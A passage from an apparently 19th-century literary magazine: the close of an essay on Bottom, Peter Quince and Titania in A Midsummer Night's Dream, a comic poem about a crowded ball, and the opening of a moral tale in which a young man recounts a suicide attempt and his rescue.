+trained and managed with surpassing skill, and mounted by agile
+and practised riders, dressed in splendid and carefully-considered
+costumes, are actually fighting the battle of Waterloo, but we
+willingly lend ourselves to the delusion. In like manner, we may be
+sure that in the days of Queen Elizabeth the audience of the Globe
+complied with the advice of Chorus, and,
+
+    "Minding true things by what their mockeries be,"
+
+were contented that
+
+    "Four or five most vile and ragged foils
+    Right ill-disposed, in brawl ridiculous,"
+
+should serve to represent to their imagination the name of Agincourt.
+
+We consent to this just as we do to Greeks and Romans speaking English
+on the stage of London, or French on that of Paris; or to men of any
+country speaking in verse at all; or to all the other demands made
+upon our belief in playing. We can dispense with the assistance of
+such downright matter-of-fact interpreters as those who volunteer
+their services to assure us that the lion in Pyramus and Thisbe is
+not a lion in good earnest, but merely Snug the joiner. But there are
+difficulties of a more subtle and metaphysical kind to be got over,
+and to these, too, Shakspeare not unfrequently alludes. In the play
+before us,--Midsummer Night's Dream,--for example, when Hippolita
+speaks scornfully of the tragedy in which Bottom holds so conspicuous a
+part, Theseus answers, that the best of this kind (scenic performances)
+are but shadows, and the worst no worse if imagination amend them.
+She answers that it must be _your_ imagination then, not _theirs_. He
+retorts with a joke on the vanity of actors, and the conversation is
+immediately changed. The meaning of the Duke is, that, however we may
+laugh at the silliness of Bottom and his companions in their ridiculous
+play, the author labours under no more than the common calamity of
+dramatists. They are all but dealers in shadowy representations of
+life; and if the worst among them can set the mind of the spectator
+at work, he is equal to the best. The answer to Theseus is, that none
+but the best, or, at all events, those who approach to excellence,
+can call with success upon imagination to invest their shadows with
+substance. Such playwrights as Quince the carpenter,--and they abound
+in every literature and every theatre,--draw our attention so much to
+the absurdity of the performance actually going on before us, that
+we have no inclination to trouble ourselves with considering what
+substance in the background their shadows should have represented.
+Shakspeare intended the remark as a compliment or a consolation to less
+successful wooers of the comic or the tragic Muse, and touches briefly
+on the matter; but it was also intended as an excuse for the want of
+effect upon the stage of some of the finer touches of such dramatists
+as himself, and an appeal to all true judges of poetry to bring it
+before the tribunal of their own imagination; making but a matter of
+secondary inquiry how it appears in a theatre, as delivered by those
+who, whatever others may think of them, would, if taken at their own
+estimation, "pass for excellent men." His own magnificent creation of
+fairy land in the Athenian wood must have been in his mind, and he
+asks an indulgent play of fancy not more for Oberon and Titania, the
+glittering rulers of the elements, who meet
+
+    "---- on hill, in dale, forest, or mead,
+    By paved fountain, or by rushy brook,
+    Or on the beached margent of the sea,
+    To dance their ringlets to the whistling wind,"
+
+than for the shrewd and knavish Robin Goodfellow, the lord of practical
+jokes, or the dull and conceited Bottom, "the shallowest thickskin of
+the barren sort," rapt so wondrously from his loom and shuttle, his
+threads and thrums, to be the favoured lover of the Queen of Faëry,
+fresh from the spiced Indian air, and lulled with dances and delight
+amid the fragrance of the sweetest flowers, filling with their luscious
+perfume a moonlighted forest.
+
+One part of Bottom's character is easily understood, and is often well
+acted. Amid his own companions he is the cock of the walk. His genius
+is admitted without hesitation. When he is lost in the wood, Quince
+gives up the play as marred. There is no man in Athens able to take
+the first part in tragedy but himself. Flute declares that he has the
+best wit of any handicraftman in the city. This does not satisfy the
+still warmer admirer,[22] who insists on the goodliness of his person,
+and the fineness of his voice. When it seems hopeless that he should
+appear, the cause of the stage is given up as utterly lost. When he
+returns, it is hailed as the "courageous day," and the "happy hour,"
+which is to restore the legitimate drama. It is no wonder that this
+perpetual flattery fills him with a most inordinate opinion of his
+own powers. There is not a part in the play which he cannot perform.
+As a lover, he promises to make the audience weep; but his talent is
+still more shining in the Herculean vein of a tyrant. The manliness
+of his countenance, he admits, incapacitates him from acting the part
+of a heroine; but, give him a mask, and he is sure to captivate by
+the soft melody of his voice. But, lest it should be thought this
+melodious softness was alone his characteristic, he claims the part of
+the lion, which he is to discharge with so terrific a roar as to call
+forth the marked approbation of the warlike Duke; and yet, when the
+danger is suggested of frightening the ladies, who all, Amazons as
+they were, must be daunted by sounds so fear-inspiring, he professes
+himself gifted with a power of compass capable of imitating, even in
+the character of a roaring lion, the gentleness of the sucking dove,
+or the sweetness of the nightingale. He is equally fit for all parts,
+and in all parts calculated to outshine the rest. This is allowed; but,
+as it is impossible that he can perform them all, he is restricted to
+the principal. It is with the softest compliments that he is induced
+to abandon the parts of Thisbe and the lion for that of Pyramus.
+Quince assures him that he can play none other, because "Pyramus is
+a sweet-faced man; a proper man as one shall see in a summer's day;
+a most lovely, gentlemanlike man; _therefore_ YOU must undertake
+it." What man of woman born could resist flattery so unsparingly
+administered? the well-puffed performer consents, and though he knows
+nothing of the play, and is unable to tell whether the part for which
+he is cast is that of a lover or a tyrant, undertakes to discharge
+it with a calm and heroic indifference as to the colour of the beard
+he is to wear, being confident, under any circumstances, of success,
+whether that most important part of the costume be straw-coloured or
+orange-tawny, French crown or purple in grain. With equal confidence he
+gets through his performance. The wit of the courtiers, or the presence
+of the Duke, have no effect upon his nerves. He alone speaks to the
+audience in his own character, not for a moment sinking the personal
+consequence of Bottom in the assumed part of Pyramus. He sets Theseus
+right on a point of the play with cool importance; and replies to the
+jest of Demetrius (which he does not understand) with the self-command
+of ignorant indifference. We may be sure that he was abundantly
+contented with his appearance, and retired to drink in, with ear well
+deserving of the promotion it had attained under the patronage of Robin
+Goodfellow, the applause of his companions. It is true that Oberon
+designates him as a "hateful fool;" that Puck stigmatizes him as the
+greatest blockhead of the set; that the audience of wits and courtiers
+before whom he has performed vote him to be an ass: but what matter is
+that? He mixes not with them; he hears not their sarcasms; he could not
+understand their criticisms; and, in the congenial company of the crew
+of patches and base mechanicals who admire him, lives happy in the fame
+of being _the_ Nicholas Bottom, who, by consent, to him universal and
+world-encompassing, is voted to be _the_ Pyramus,--_the_ prop of the
+stage,--_the_ sole support of the drama.
+
+And, besides, Quince, the playwright, manager, and ballad-monger,
+
+  ["I'll get Peter Quince to write a ballad of this dream," says Bottom,]
+
+is of too much importance in the company to be rebuked by so inferior
+a personage as Flute. In the original draft of their play Snout was to
+perform Pyramus's father, and Quince, Thisbe's father, but those parts
+are omitted; Snout is the representative of Wall, and Quince has no
+part assigned him. Perhaps this was intentional, as another proof of
+bungling.]
+
+Self-conceit, as great and undisguised as that of poor Bottom, is to be
+found in all classes and in all circles, and is especially pardonable
+in what it is considered genteel or learned to call "the histrionic
+profession." The triumphs of the player are evanescent. In no other
+department of intellect, real or simulated, does the applause bestowed
+upon the living artist bear so melancholy a disproportion to the repute
+awaiting him after the generation passes which has witnessed his
+exertions. According to the poet himself, the poor player
+
+"Struts and frets his hour upon the stage,
+And then is heard no more."
+
+Shakspeare's own rank as a performer was not high, and his reflections
+on the business of an actor are in general splenetic and discontented.
+He might have said,--though indeed it would not have fitted with the
+mood of mind of the despairing tyrant into whose mouth the reflection
+is put,--that the well-graced actor, who leaves the scene not merely
+after strutting and fretting, but after exhibiting power and genius
+to the utmost degree at which his art can aim, amid the thundering
+applause,--or, what is a deeper tribute, the breathless silence of
+excited and agitated thousands,--is destined ere long to an oblivion
+as undisturbed as that of his humbler fellow-artist, whose prattle is
+without contradiction voted to be tedious. Kemble is fading fast from
+our view. The gossip connected with every thing about Johnson keeps
+Garrick before us, but the interest concerning him daily becomes less
+and less. Of Betterton, Booth, Quin, we remember little more than the
+names. The Lowins and Burbages of the days of Shakspeare are known
+only to the dramatic antiquary, or the poring commentator, anxious to
+preserve every scrap of information that may bear upon the elucidation
+of a text, or aid towards the history of the author. With the sense
+of this transitory fame before them, it is only natural that players
+should grasp at as much as comes within their reach while they have
+power of doing so. It would be a curious speculation to inquire which
+personally has the greater enjoyment,--the author, neglected in life,
+and working for immortal renown, or the actor living among huzzas, and
+consigned to forgetfulness the moment that his hour is past. I suppose,
+on the usual principle of compensation, each finds in himself springs
+of happiness and self-comfort. The dim distance, in its shadowy and
+limitless grandeur, fills with solemn musings the soul of the one;
+the gorgeous gilding of the sunny scenery in the foreground kindles
+with rapturous joy the heart of the other. Shenstone lays it down as
+a principle, that, if it were left to our choice whether all persons
+should speak ill of us to our faces, and with applause behind our
+backs, or, _vice versâ_, that the applause should be lavished upon
+ourselves, and the ill-speaking kept for our absence, we should choose
+the latter; because, if we never heard the evil report, we should
+know nothing about our bad reputation, while, on the contrary, the
+good opinion others entertained of us would be of no avail if nothing
+reached our ears but words of anger or reproach. Since, after all, it
+is from within, and not from without, the sources of joy or sorrow
+bubble up, it does not matter so very much as the sensitive Lord
+of Leasowes imagines what the opinions of others concerning us may
+be,--at least as compared with those which, right or wrong, we form of
+ourselves. The question is of no great practical importance; and yet
+it would be somewhat curious to speculate in the manner of Hamlet, if
+we could do so, on the feelings of Kean and Wordsworth in the zenith
+of the popularity of the former, when he was worshipped as a demi-god
+by the unquestionable, or, at least, the scarce-questioned dispensers
+of daily renown; while the other by the recognised oracles of critical
+sagacity was set down as a jackass more obtuse than that belaboured by
+his own Peter Bell.
+
+Pardon, therefore, the wearers of the sock and buskin for being
+obnoxious to such criticism as that lavished by Quince upon Bottom. We
+have no traces left us of what constituted the ordinary puffery of the
+Elizabethan days; but, as human nature is the same in all ages, we must
+suppose the trade to have been in its own way as vigorously carried
+on then as now. And, without hinting at anything personal, do we not
+week after week find attached to every performer making (whether with
+justice or not is no part of the consideration) pretensions to the
+omnifarious abilities of Bottom, some Peter Quince, who sticks to that
+Bottom with the tenacity of a leech, and is ready to swear that _he_,
+the Bottom, is the only man in Athens; that his appearance spreads
+an universal joy; his occultation involves the world in dramatical
+eclipse; that his performance of the lover can only be surpassed by
+his performance of the tyrant; and that it must puzzle an impartial
+public to decide whether nature and art, genius and study, designed him
+for a heroine couchant, or a rampant lion. To this it is little wonder
+that the object of applause lets down his ears too often donkey-like,
+and permits himself to be scratched by a Master Cobweb, spun though he
+be by a bottle-bellied spider, or a Master Peas-blossom, who can only
+claim Mistress Squash for his mother and Master Peascod for his father.
+In Peter Quince, Shakspeare shadowed forth, by anticipation, Sheridan's
+Puff. Quince is a fool, and Puff a rogue; and yet I think the criticism
+of the elder reviewer just as valuable. It is in the end as useful
+to the object of applause to be told, in plain terms, that he alone
+can act Pyramus because he is a sweet-faced man, a proper man, a most
+lovely, gentlemanlike man, as to have the same flummery administered
+under the guise of mock philosophy, with gabbling intonations about
+breadth, profoundness, depth, length, thickness, and so forth; which,
+being interpreted, signify, in many cases, "I know nothing about acting
+or writing, but I do know that you can give me a box or a dinner, and
+therefore let me play to your Bottom, Quince the carpenter, in an ass's
+head, intended as a representation of Aristotle the Stagirite."
+
+Alas! I am wandering far away from the forest. I can only plead that
+my guide has led me into my own congenial land of newspaper from his
+native soil of poetry. But he never long remains out of his own domain,
+and the jokes and jests upon the unlucky company who undertook to
+perform
+
+
+    "A tedious brief scene of young Pyramus
+    And his love Thisbe, very tragical mirth,"
+
+are but intrusive matter amid the romantic loves, all chivalrous and
+a little classical, of Theseus and Hippolita, and the jealousies
+unearthly, and yet so earthly, of Fairy Land. The romance of early
+Greece was sometimes strangely confused by the romance of the middle
+ages. It would take a long essay on the mixture of legends derived
+from all ages and countries to account for the production of such a
+personage as the "Duke ycleped Theseus" and his following; and the
+fairy mythology of the most authentic superstitions would be ransacked
+in vain to discover exact authorities for the Shakspearian Oberon and
+Titania. But, no matter whence derived, the author knew well that in
+his hands the chivalrous and classical, the airy and the imaginative,
+were safe. It was necessary for his drama to introduce among his fairy
+party a creature of earth's mould, and he has so done it as in the
+midst of his mirth to convey a picturesque satire on the fortune which
+governs the world, and upon those passions which elsewhere he had with
+agitating pathos to depict. As Romeo, the gentleman, is _the_ unlucky
+man of Shakspeare, so here does he exhibit Bottom, the blockhead, as
+_the_ lucky man, as him on whom Fortune showers her favours beyond
+measure.
+
+This is the part of the character which cannot be performed. It is
+here that the greatest talent of the actor must fail in answering the
+demand made by the author upon our imagination. The utmost lavish of
+poetry, not only of high conception, but of the most elaborate working
+in the musical construction of the verse, and a somewhat recondite
+searching after all the topics favourable to the display of poetic
+eloquence in the ornamental style, is employed in the description of
+the fairy scenes and those who dwell therein. Language more brilliantly
+bejewelled with whatever tropes and figures rhetoricians catalogue
+in their books is not to be found than what is scattered forth with
+copious hand in Midsummer Night's Dream. The compliment to Queen
+Elizabeth,
+
+    "In maiden meditation fancy-free,"
+
+was of necessity sugared with all the sweets that the _bon-bon_ box of
+the poet could supply; but it is not more ornamented than the passages
+all around. The pastoral images of Corin
+
+    "Playing on pipes of corn, and versing love
+    To amorous Phillida;"
+
+the homely consequences resulting from the fairy quarrel,
+
+    "The ox hath therefore stretch'd his yoke in vain,
+    The ploughman lost his sweat, and the green corn
+    Hath rotted ere his youth attain'd a beard;
+    The fold stands empty in the drowned field,
+    And crows are fatted with the murrain flock;"
+
+and so on, are ostentatiously contrasted with misfortunes more
+metaphorically related:
+
+                          "We see
+    The seasons alter; hoary-headed frosts
+    Fall on the fresh lap of the crimson rose;
+    And on old Hyems' chin and icy crown
+    An odorous chaplet of sweet summer buds
+    Is, as in mockery, set."
+
+The mermaid chaunting on the back of her dolphin; the fair vestal
+throned in the west; the bank blowing with wild thyme, and decked
+with oxlip and nodding violet; the roundelay of the fairies singing
+their queen to sleep; and a hundred images beside of aërial grace
+and mythic beauty, are showered upon us; and in the midst of these
+splendours is tumbled in Bottom the weaver, blockhead by original
+formation, and rendered doubly ridiculous by his partial change into a
+literal jackass. He, the most unfitted for the scene of all conceivable
+personages, makes his appearance, not as one to be expelled with
+loathing and derision, but to be instantly accepted as the chosen lover
+of the Queen of the Fairies. The gallant train of Theseus traverse
+the forest, but they are not the objects of such fortune. The lady,
+under the oppression of the glamour cast upon her eyes by the juice of
+love-in-idleness, reserves her raptures for an absurd clown. Such are
+the tricks of Fortune.
+
+Oberon himself, angry as he is with the caprices of his queen, does not
+anticipate any such object for her charmed affections. He is determined
+that she is to be captivated by "some vile thing," but he thinks only of
+
+                  "Ounce, or cat, or bear,
+    Pard, or boar with bristled hair,"
+
+animals suggesting ideas of spite or terror; but he does not dream
+that, under the superintendence of Puck, spirit of mischief, she is to
+be enamoured of the head of an ass surmounting the body of a weaver.
+It is so nevertheless; and the love of the lady is as desperate as
+the deformity of her choice. He is an angel that wakes her from her
+flowery bed; a gentle mortal, whose enchanting note wins her ear,
+while his beauteous shape enthralls her eye; one who is as wise as
+he is beautiful; one for whom all the magic treasures of the fairy
+kingdom are to be with surpassing profusion dispensed. For him she
+gathers whatever wealth and delicacies the Land of Faëry can boast.
+Her most airy spirits are ordered to be kind and courteous to this
+_gentleman_,--for into that impossible character has the blindness
+of her love transmuted the clumsy and conceited clown. Apricocks and
+dewberries, purple grapes, green figs, and mulberries, are to feed
+his coarse palate; the thighs of bees, kindled at the eyes of fiery
+glowworms, are to light him to his flower-decked bed; wings plucked
+from painted butterflies are to fan the moonbeams from him as he
+sleeps; and in the very desperation of her intoxicating passion she
+feels that there is nothing which should not be yielded to the strange
+idol of her soul. She mourns over the restraints which separate her
+from the object of her burning affection, and thinks that the moon and
+the flowers participate in her sorrow.
+
+    "The moon, methinks, looks with a watery eye,
+    And when she weeps, weeps every little flower,
+    _Lamenting some enforced chastity_."
+
+Abstracting the poetry, we see the same thing every day in the plain
+prose of the world. Many is the Titania driven by some unintelligible
+magic so to waste her love. Some juice, potent as that of Puck,--the
+true Cupid of such errant passions,--often converts in the eyes of
+woman the grossest defects into resistless charms. The lady of youth
+and beauty will pass by the attractions best calculated to captivate
+the opposite sex, to fling herself at the feet of age or ugliness.
+Another, decked with graces, accomplishments, and the gifts of genius,
+and full of all the sensibilities of refinement, will squander her
+affections on some good-for-nothing _roué_, whose degraded habits and
+pursuits banish him far away from the polished scenes which she adorns.
+The lady of sixteen quarters will languish for him who has no arms but
+those which nature has bestowed; from the midst of the gilded _salon_ a
+soft sigh may be directed towards the thin-clad tenant of a garret; and
+the heiress of millions may wish them sunken in the sea if they form a
+barrier between her and the penniless lad toiling for his livelihood,
+
+    "Lord of his presence, and no land beside."
+
+Fielding has told us all this in his own way, in a distich, (put,
+I believe, into the mouth of Lord Grizzle; but, as I have not the
+illustrious tragedy in which it appears, before me, I am not certain,
+and must therefore leave it to my readers to verify this important
+point.) Love
+
+                "Lords into cellars bears,
+    And bids the brawny porter walk up stairs."
+
+Tom Thumb and Midsummer Night's Dream preach the one doctrine. It would
+be amusing to trace the courses of thought by which the heterogeneous
+minds of Fielding and Shakspeare came to the same conclusion.
+
+Ill-mated loves are generally but of short duration on the side of the
+nobler party, and she awakes to lament her folly. The fate of those who
+suffer like Titania is the hardest. The man who is deprived of external
+graces of appearance may have the power of captivating by those of
+the mind: wit, polish, fame, may compensate for the want of youth or
+personal attractions. In poverty or lowly birth may be found all that
+may worthily inspire devoted affection--
+
+    "The rank is but the guinea's stamp,
+    The man's the gowd for a' that."
+
+In the very dunghill of dissipation and disgrace will be raked up
+occasionally a lurking pearl or two of honourable feeling, or kind
+emotion, or irregular talent, which may be dwelt upon by the fond eye,
+wilfully averting its gaze from the miserable mass in which they are
+buried. But woe unto the unhappy lady who, like Titania, is obliged to
+confess, when the enchantment has passed by, that she was "enamoured
+of an _ass_!" She must indeed "loathe his visage," and the memory of
+all connected with him is destined ever to be attended by a strong
+sensation of disgust.
+
+But the ass himself of whom she was enamoured has not been the less a
+favourite of Fortune, less happy and self-complacent, because of her
+late repentance. He proceeds onward as luckily as ever. Bottom, during
+the time that he attracts the attentions of Titania, never for a moment
+thinks there is anything extraordinary in the matter. He takes the love
+of the Queen of the Fairies as a thing of course, orders about her
+tiny attendants as if they were so many apprentices at his loom, and
+dwells in Fairy Land unobservant of its wonders, as quietly as if he
+were still in his workshop. Great is the courage and self-possession of
+an ass-head. Theseus would have bent in reverent awe before Titania.
+Bottom treats her as carelessly as if she were the wench of the
+next-door tapster. Even Christopher Sly,[23] when he finds himself
+transmuted into a lord, shows some signs of astonishment. He does not
+accommodate himself to surrounding circumstances. The first order he
+gives is for a pot of small ale; and after all the elegant luxuries of
+his new situation have been placed ostentatiously before him,--after
+he has smelt sweet savours, and felt soft things,--after he begins to
+think he is
+
+                "A lord indeed,
+    And not a tinker nor Christopher[o] Sly;"
+
+even then nature--or habit, which stands in the place of
+nature,--recurs invincible, and once more he calls for a pot of the
+smallest ale. (I may again cite Fielding in illustration of Shakspeare;
+for do we not read, in the Covent Garden tragedy, of the consolation
+that
+
+    "Cold small beer is to the waking drunkard;"
+
+and do we not hear the voice of Christopher Sly praying, for God's
+sake, in the midst of his lordly honours, for a draught of that
+unlordly but long-accustomed beverage?) In the Arabian Nights'
+Entertainments a similar trick is played by the Caliph Haroun
+Al-raschid upon Abou Hassan, and he submits, with much reluctance,
+to believe himself the Commander of the Faithful. But having in
+vain sought how to explain the enigma, he yields to the belief, and
+then performs all the parts assigned to him, whether of business or
+pleasure, of counsel or gallantry, with the easy self-possession of
+a practised gentleman. Bottom has none of the scruples of the tinker
+of Burton-heath, or the _bon vivant_ of Bagdad. He sits down amid the
+fairies as one of themselves without any astonishment; but so far from
+assuming, like Abou Hassan, the manners of the court where he has been
+so strangely intruded, he brings the language and bearing of the booth
+into the glittering circle of Queen Titania. He would have behaved
+in the same manner on the throne of the caliph, or in the bedizened
+chamber of the lord; and the ass-head would have victoriously carried
+him through.
+
+Shakspeare has not taken the trouble of working out the conclusion of
+the adventure of Sly; and the manner in which it is finished in the
+old play where he found him, is trifling and common-place. The Arabian
+novelist repeats the jest upon his hero, and concludes by placing him
+as a favourite in the court of the amused caliph. This is the natural
+ending of such an adventure; but, as Bottom's was supernatural, it was
+to conclude differently. He is therefore dismissed to his ordinary
+course of life, unaffected by what has passed. He admits at first that
+it is wonderful, but soon thinks it is nothing more than a fit subject
+for a ballad in honour of his own name. He falls at once to his old
+habit of dictating, boasting, and swaggering, and makes no reference to
+what has happened to him in the forest. It was no more than an ordinary
+passage in his daily life. Fortune knew where to bestow her favours.
+
+Adieu then, Bottom the weaver! and long may you go onward prospering
+in your course! But the prayer is needless, for you carry about you
+the infallible talisman of the ass-head. You will be always be sure
+of finding a Queen of the Fairies to heap her favours upon you, while
+to brighter eyes and nobler natures she remains invisible or averse.
+Be you ever the chosen representative of the romantic and the tender
+before dukes and princesses; and if the judicious laugh at your
+efforts, despise them in return, setting down their criticism to envy.
+This you have a right to do. Have they, with all their wisdom and wit,
+captivated the heart of a Titania as you have done? Not they--nor will
+they ever. Prosper therefore, with undoubting heart despising the
+rabble of the wise. Go on your path rejoicing; assert loudly your claim
+to fill every character in life; and you may be quite sure that as long
+as the noble race of the Bottoms continues to exist, the chances of
+extraordinary good luck will fall to their lot, while in the ordinary
+course of life they will never be unattended by the plausive criticism
+of a Peter Quince.
+
+FOOTNOTES:
+
+[Footnote 22: Act iv. sc. 2. Athens.--Quince's House.--Enter Quince,
+Flute, Snout, and Starveling.
+
+"_Qui._ Have you sent to Bottom's house yet, &c.?
+
+_Flu._ He hath simply the best wit of any man in Athens.
+
+_Qui._ Yea, and the best person too; and he is a very paramour for a
+sweet voice.
+
+_Flu._ You must say paragon; a paramour is, God bless us! a thing of
+naught."
+
+I propose that the second admirer's speech be given to Snout, who else
+has not anything to say, and is introduced on the stage to no purpose.
+The few words he says elsewhere in the play are all ridiculous; and the
+mistake of "paramour" for "paragon" is more appropriate to him than to
+Quince, who corrects the _cacology_ of Bottom himself. [Act iii. sc. 1.
+
+    "_Pyr._ Thisby, the flower of odious savours sweet.
+
+    _Qui._ Odours--odours."]
+
+[Footnote 23: In comparing the characters of Sly and Bottom, we must
+be struck with the remarkable profusion of picturesque and classical
+allusions with which both these buffoons are surrounded. I have quoted
+some of the passages from Midsummer Night's Dream above. The Induction
+to the Taming of the Shrew is equally rich. There, too, we have the
+sylvan scenery and the cheerful sport of the huntsman, and there we
+also have references to Apollo and Semiramis; to Cytherea all in sedges
+hid; to Io as she was a maid; to Daphne roaming through a thorny wood.
+The coincidence is not casual. Shakspeare desired to elevate the scenes
+in which such grovelling characters played the principal part by all
+the artificial graces of poetry, and to prevent them from degenerating
+into mere farce. As I am on the subject, I cannot refrain from
+observing that the remarks of Bishop Hurd on the character of the Lord
+in the Induction to the Taming of the Shrew are marked by a ridiculous
+impertinence, and an ignorance of criticism truly astonishing. They are
+made to swell, however, the strange farrago of notes gathered by the
+variorum editors. The next editor may safely spare them.
+
+I have not troubled my readers with verbal criticism in this paper, but
+I shall here venture on one conjectural emendation. Hermia, chiding
+Demetrius, says, Act iii. sc. 2,
+
+    "If thou hast slain Lysander in his sleep,
+    Being o'er shoes in blood, wade in _the_ deep,
+    And kill me too,"
+
+Should we not read "_knee_ deep?" As you are already over your shoes,
+wade on until the bloody tide reaches your knees. In Shakspeare's time
+_knee_ was generally spelt _kne_; and between _the_ and _kne_ there is
+not much difference in writing.]
+
+
+
+
+LADY BLUE'S BALL.
+
+BY MRS. C.B. WILSON.
+
+      "So warmly we met," and so closely were jumbled,
+      Like pigeons in pies, for the rooms were too small;
+    I was fearful my new satin dress would be tumbled,
+      As I gasp'd in a corner at Lady Blue's ball.
+    Some attempted to dance, but ran 'gainst each other;
+      Some flirted, some fainted; but _this_ agreed all,
+    They had ne'er before witness'd a crowd or a smother,
+      Till jamm'd on the staircase at Lady Blue's ball!
+
+    A dance! 'tis a heaven, if a girl's not neglected,
+      And has plenty of partners to come at her call;
+    And many a mirror's bright surface reflected
+      Soft smiles and warm blushes at Lady Blue's ball!
+    Mammas sat aside, (for eldest sons looking,)
+      Whose daughters had beauty, but no cash at all;
+    Younger brothers (in thought) were the bright thousands booking
+      Of those girls who _had_ fortunes at Lady Blue's ball.
+
+    And some they were waltzing, and others quadrilling,
+      "All pair'd, but not match'd," young and old, short and tall:
+    While some in sly corners were cooing and billing
+      Notes at sight, and of hand, at my Lady Blue's ball.
+    Thus Fashion's gay crowd goes on flirting and whirling,
+      As they mingle together, the great with the small;
+    And what's life but a dance, too, where, twisting and twirling,
+      We jostle each other, to get through the ball!
+
+
+
+
+THE MAN WITH THE CLUB FOOT.
+
+TALE (THE SECOND) OF ST. LUKE'S.
+
+
+"You must know, sir, that our family is of very distinguished origin.
+My father was descended from the ancient L----s, of L---- Hall, in
+Leicestershire; my mother is from the sole remaining branch of the
+renowned family of _Maxwell_;--of course you must remember, sir, what
+great actions have been achieved by the _Maxwells_ in olden time?"
+
+"My memory is not very good in such particulars," said I, to the
+elegant young man with whom I was speaking; "pray proceed with your
+narration, and never mind your ancestors."
+
+"Not mind my ancestors!" returned L----, a little angrily; "but
+perhaps you are right, sir, after all; the _living_ ought to claim
+our attention more than the dead. Well! we were left in the deepest
+distress,--my excellent mother, and myself, her only child. I will not
+trouble you in detailing how my poor father, by a hundred improvident
+and extravagant ways contrived to dwindle down his property; too proud
+to embark in any profession except the army, and afterwards too poor to
+enter it. He died of--of--a broken heart when I was about twelve years
+old. I did nothing but devise schemes after this event to retrieve our
+wretched circumstances when I became old enough. A thousand plans, wild
+and visionary, passed through my brain; I could not sleep at night
+for projects and inventions. I became fevered, restless, taciturn,
+irritable, and absent. One day, when I had arrived at the age of
+fifteen, on returning from a solitary walk, weary and exhausted, with
+a lump of clayey substance, wrapped up carefully, in my hands, which
+I had extracted from the side of a canal at a great distance from
+my home, believing it to contain some most precious qualities which
+might lead to my making a rapid fortune, I was forcibly struck with
+the extreme dejection of my mother, and the want of all preparation in
+our little parlour. I could not understand it at first; but the truth
+came home slowly, heavily upon my heart. She had no longer the means
+of procuring her son and herself another meal!" Here L---- paused, and
+looked for sympathy.
+
+"Did not the distress of your mother rouse you, L----, into immediate
+action?" said I.
+
+"No, sir," replied my companion, with an emphasis that made me start;
+"would you have had a son of the ancient house of L---- go and work
+upon the highway? to degrade himself with trade? or----"
+
+"Surely this had been better than seeing a mother starve, young
+gentleman," said I mildly; "but I interrupt you. Tell me what effect
+was produced upon your mind by the knowledge of your situation. What
+did you do?"
+
+"You shall hear, sir, in due time," continued he gloomily; "but I
+suppose the relation will cause you some displeasure. We cannot always
+be masters of ourselves, or of our own actions."
+
+"But we _ought_ to be so, Mr. L----; there is no slavery so bad as the
+slavery of the passions. Then are we slaves indeed," and I looked full
+upon him.
+
+L---- resumed: "You shall know the exact truth, sir; I will at any
+rate be strictly impartial. When I was convinced that we had not a meal
+left in the world,--convinced by remembering the bareness of the walls,
+and now missing several articles of furniture that had disappeared
+without my before perceiving it,--I seized my hat, and, totally
+disregarding the pathetic appeal of my mother's voice,--the beseeching
+accents of her who had never yet spoken to me a reproachful word from
+my earliest recollections,--'to be calm, and hope that better times
+would come,' I darted out of the house like an arrow from the bow, and,
+coward as I was, after wandering about for hours to summon resolution
+for the act, rushed to the river about a mile from the village, and
+threw myself into its rapid current. There I soon lost all recollection
+of myself and my misery. The last sound I heard was the gurgling of
+waters in my ears and throat; the last sensation I experienced was
+that I should not now die the languishing death of famine. My mother's
+image was before me; then it grew indistinct, and all was darkness,
+vagueness, insensibility." L---- again paused.
+
+"Then you have actually committed the crime of suicide, young man!" I
+exclaimed reproachfully; "I trust you have been repentant for it. Your
+intention was to destroy yourself; the motive makes the crime."
+
+"My narrative, sir, is of events, not of my own feelings," replied Mr.
+L---- proudly; "if you are already disgusted with my conduct as a boy,
+perhaps it might be better that you knew not of it as a man. Perhaps I
+had better stop here?"
+
+"That is according to your own pleasure, my dear sir," said I,
+affecting an indifference that I did not feel; but wishing to curb the
+irritability of my young companion.
+
+"Most strange were my emotions," continued he, after a pause and a
+smile, "on life returning to my bosom,--that is active life; for I
+suppose the principle itself was not absolutely extinct. What is your
+opinion, sir, as a medical man? Can life be rekindled in the human
+breast when once fairly extinguished? for my part I think it can,
+and that mine is a renewed life. You smile, sir, but I should wish
+an answer to my question;" and again that proud, yet beautiful, lip
+of his, curled with impatience, whilst he took a stride across the
+apartment.
+
+"Can life ever be extinguished?" I demanded.
+
+"Certainly," replied Mr. L----, looking at me as if he thought I was
+insane, or jesting with him. "Are we not living in one great hospital,
+amidst the dying and the dead? Are we sure of our existence a single
+hour? Must we not all die at last?"
+
+"Let each one speak for himself, Falkner L----," said I impressively;
+"I am sure of the perpetuity of mine own existence; it can never
+perish."
+
+"Oh! _that_ is your meaning, is it?" sarcastically exclaimed my
+opponent. "I am no divine, and my question related to that existence I
+know of. I wished to learn whether I have been absolutely dead? since,
+if so, I can account better for many of those thoughts and sensations
+that now puzzle and perplex me exceedingly. But I will not press my
+inquiry further on you; perhaps you know as little about these things
+as myself;" and he pressed his hand upon his forehead, whilst a sigh he
+sought to restrain would be heard.
+
+"Go on with your story, L----," said I; "we will discuss this subject
+about existence and a future state another time; what were your
+sensations on recovering the use of your senses? for you must have been
+brought to life, I conclude, somehow or other."
+
+"I found myself lying on the grass," continued Mr. L----, "quite
+wet, but with an agreeable warmth within, from some cordial that had
+been administered to me. I gazed at first, unconsciously, upon the
+clouds sailing by upon the blue ocean of immensity above my head.
+I felt myself calm and composed as that depth of sky, fathomless,
+unsearchable,--for memory was not yet awakened in me,--and _the
+present_ was to me peaceful, holy. Oh, that such moments should be
+lost! I thought the moon some new and beautiful appearance just rising
+from creation. I was roused into recollection thus:
+
+"'Are you able, young man, now to walk?' said a hoarse unpleasing voice
+near me; 'your mother, perchance, is uneasy at your absence; and she
+should be spared from the bitter knowledge that her only, her beloved
+son, intended to have deserted her in her moment of deep affliction.
+Hide this from her; it will be a pious secret. Conceal your intention
+of self-destruction from her.'
+
+"During the whole of this speech my entire being seemed to be
+undergoing a change, rapid and powerful. I awakened as from a trance.
+I felt the enormity of my past conduct. My mother's tenderness! her
+uncomplaining sufferings! the sacrifices she had made to procure me
+the necessaries of life! her total absence of all selfishness! her
+privations! her patience! all rose before me. And how had I requited
+her?--by base desertion, by cruel ingratitude! My heart was softened,
+and, boy-like, I burst into tears.
+
+"'Showers should produce blossoms,--blossoms fruit!' said the same
+croaking discordant voice close to my ear. '_Tears_ are showers for
+good resolutions; they should not be unproductive. Your mother, young
+man! think of your mother!'
+
